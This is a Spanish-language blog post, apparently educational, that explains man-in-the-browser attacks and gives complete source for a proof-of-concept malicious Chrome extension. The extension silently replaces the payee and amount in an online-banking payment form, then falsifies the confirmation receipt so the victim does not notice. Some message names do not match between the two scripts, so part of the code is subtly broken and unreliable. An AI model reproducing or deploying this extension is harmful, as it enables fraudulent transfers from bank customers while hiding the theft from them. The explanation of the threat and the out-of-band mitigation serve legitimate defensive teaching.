Ataques man-in-the-browser (MitB)

Ya sabéis que un ataque man-in-the-middle (MiTM) el atacante intercepta el tráfico de la víctima, lo que le permite robar la información no protegida y manipular las respuestas. Sin embargo hoy vamos a ver los ataques man-in-the-browser (MitB) que se sitúan entre la víctima y su navegador. Normalmente lo suele implementar malware bancario y extensiones del navegador maliciosas ya que las protecciones como TLS y el segundo factor de autenticación no tienen ningún efecto contra ellos.

El agente de MitB espera hasta que la víctima visite un sitio web relevante y, cuando envía un formulario para realizar un nuevo pago, el agente cambia los valores enviados. Esto significa que en lugar de enviar, digamos, $1000 a un amigo, la víctima termina enviando $10,000 al atacante.


La principal mitigación contra estos ataques MiTB es utilizar mecanismos de autenticación "fuera de banda" en inglés out-of-band (OOB), es decir, utilizar otro medio externo al propio navegador del usuario como un SMS, si bien hay que tener en cuenta que también existe malware man-in-the-mobile (MitMo) en el teléfono móvil... xD

Un ejemplo práctico de un troyano que utiliza MitB

Una cadena de infección típica que incorpora un troyano que intentará realizar transacciones fraudulentas manipulando DOM es la siguiente:

  1. El troyano infecta el software de la computadora, ya sea el sistema operativo o la aplicación.
  2. El troyano instala una extensión en el navegador maliciosa para que se cargue la próxima vez que se inicie el navegador.
  3. Más tarde, el usuario reinicia el navegador.
  4. El navegador carga la extensión.
  5. La extensión registra un controlador para cada carga de página.
  6. Siempre que se carga una página, la extensión busca la URL de la página en una lista de sitios conocidos que son objeto de un ataque.
  7. El usuario inicia sesión de forma segura en, por ejemplo, https://www.banco.site/.
  8. Cuando el controlador detecta una carga de página para un patrón específico en su lista de destino (por ejemplo, https://www.banco.site/cuenta/FormularioPago), registra un controlador de eventos de botón.
  9. Cuando se presiona el botón enviar, la extensión extrae todos los datos de todos los campos del formulario a través de la interfaz DOM en el navegador y recuerda los valores.
  10. La extensión modifica los valores a través de la interfaz DOM.
  11. La extensión le dice al navegador que continúe enviando el formulario al servidor.
  12. El navegador envía el formulario, incluidos los valores modificados, al servidor.
  13. El servidor recibe los valores modificados en el formulario como una solicitud normal. El servidor no puede diferenciar entre los valores originales y los valores modificados, ni detectar los cambios.
  14. El servidor realiza la transacción y genera un recibo.
  15. El navegador recibe el recibo de la transacción modificada.
  16. La extensión detecta la URL https://www.banco.site/cuenta/confirmar, escanea el HTML en busca de los campos del recibo y reemplaza los datos modificados en el recibo con los datos originales que recordaba en el HTML.
  17. El navegador muestra el recibo modificado con los detalles originales.
  18. El usuario cree que la transacción original fue recibida por el servidor intacta y autorizada correctamente.

Un ejemplo de extensión maliciosa

Para el ejemplo vamos a ver el código de una sencilla extensión maliciosa para  Chrome. 

Chrome admite extensiones escritas en JavaScript y HTML (distribuidas como un único archivo zip). Un pequeño número de extensiones también incluyen complementos de código binario, aunque están sujetos a un proceso de revisión de seguridad manual. 

Cada extensión contiene un manifiesto (obligatorio) que, junto con otros parámetros de extensión, describe los permisos que utiliza la extensión y la lista de recursos que debe cargar el navegador.

Manifest.json

El archivo de manifiesto contiene los metadatos sobre la extensión y el navegador lo utiliza para cargar los archivos necesarios y establecer los permisos. El archivo de manifiesto proporcionado solicita permiso para acceder a las pestañas abiertas y se ejecutará en cualquier dominio "http".

{
    "name": "MiTB",
    "version": "1.0",
    "description": "PoC Man-in-the-Browser",
    "manifest_version": 2,
    "permissions": [
        "tabs",
        "http://*/*"
    ],
    "background": {
        "scripts": ["background.js"],
        "persistent": true
    },
    "content_scripts": [{
        "matches": ["http://*/*"],
        "js": ["content.js"]
    }]
}

Script en background 

El navegador carga inmediatamente y ejecuta un script en background. La opción "persistent" indicada en el manifest hace que el script se esté ejecutando constantemente.

let DestinatarioOriginal = '';
let CantidadOriginal = '';

let DestinatarioReemplazado = <número de cuenta>;
let CantidadReemplazada = <cantidad en euros>;

browser.runtime.onMessage.addListener(
    function(message, sender, sendResponse) {
        if(message.action == 'ObtenerDestinatario') {
            // Devuelve el valor de DestinatarioReemplazado a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'Destinatario', data: DestinatarioReemplazado});
            });
        } else if(message.action == 'ObtenerCantidad') {
            // Devuelve el valor de CantidadReemplazada a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'Cantidad', data: CantidadReemplazada});
            });
        } else if(message.action == 'setDestinatarioOriginal') {
            // Setea el valor de DestinatarioOriginal desde el valor del mensaje
            browser.tabs.query({active: true, currentWindow: true},  function(tabs) {
                DestinatarioOriginal = message.data;
            });
        } else if(message.action == 'setCantidadOriginal') {
            // Setea el valor de CantidadOriginal desde el valor del mensaje
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                CantidadOriginal = message.data;
            });
        } else if(message.action == 'ObtenerDestinatarioOriginal') {
            // Devuelve el valor de DestinatarioOriginal a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'DestinatarioOriginal', data: DestinatarioOriginal});
            });
        } else if(message.action == 'ObtenerCantidadOriginal') {
            // Devuelve el valor de CantidadOriginal a content.js
            browser.tabs.query({active: true, currentWindow: true}, function(tabs) {
                browser.tabs.sendMessage(tabs[0].id, {variable: 'CantidadOriginal', data: CantidadOriginal});
            });
        }
    }
);

Content script

El script de contenido se inyecta en la páginas web cargada por el navegador, lo que significa que se ejecuta en la página de contexto y pueden acceder y manipular el modelo de objetos de documento (DOM). 

Este script se encarga de extraer y sobrescribir la entrada del usuario, que luego se pasa al script en background para su almacenamiento y, posteriormente, su recuperación.

let url = window.location.href;
let DestinatarioReemplazado = null;
let CantidadReemplazada = null;
let CantidadOriginal = null;
let DestinatarioOriginal = null;

// Maneja los mensajes de background.js
browser.runtime.onMessage.addListener(function(request) {
    if(request.variable == 'Destinatario') {
        DestinatarioReemplazado = request.data;
    } else if(request.variable == 'Cantidad') {
        CantidadReemplazada = request.data;
    } else if(request.variable == 'DestinatarioOriginal') {
        DestinatarioOriginal = request.data;
    } else if(request.variable == 'CantidadOriginal') {
        CantidadOriginal = request.data;
    }
});

// Obtiene la info del objetivo desde background.js
browser.runtime.sendMessage({action: 'ObtenerDestinatario'});
browser.runtime.sendMessage({action: 'ObtenerCantidad'});

if(url.search('/cuenta') > -1) {
    // Página de la cuenta a modificar
    let form = document.getElementById('FormularioPago');

    form.addEventListener('submit', function(e) {
        // Intercepta el envío del formulario y modifica los valores ingresados por el usuario
        e.preventDefault();

        //  Obtiene los elementos que contienen la información de la transacción (cantidad y número de cuenta del destinatario)
        let Destinatario = document.getElementById('Destinatario');
        let Cantidad =  document.getElementById('Cantidad');

        // Almacena los valores originales del usuario
        browser.runtime.sendMessage({action: 'setDestinatarioOriginal', data: Destinatario.value});
        browser.runtime.sendMessage({action: 'setCantidadOriginal', data: Cantidad.value});

        // Cambio de los valores del formulario de pago para modificar la transacción
        Destinatario.value = <número de cuenta>;
        Cantidad.value = <cantidad en euros>;

        e.target.submit();
    });
} else if(url.search('/confirmar') > -1) {
    // Obtiene los valores originales del usuario de background.js
    browser.runtime.sendMessage({action: 'getDestinatarioOriginal'});
    browser.runtime.sendMessage({action: 'getCantidadOriginal'});
    // Obtiene los elementos de span que contienen la información de la transacción que se muestra al usuario para verificar la transacción.
    let DestinatarioElement = document.getElementById('PagoDestinatario');
    let CantidadElement = document.getElementById('PagoCantidad');

    // Actualiza el contenido de la página para ocultar los valores modificados al usuario
    setTimeout(function() {
        DestinatarioElement.innerHTML = DestinatarioOriginal;
        CantidadElement.innerHTML = CantidadOriginal;
    }, 100);
}
Fuentes:

Comentarios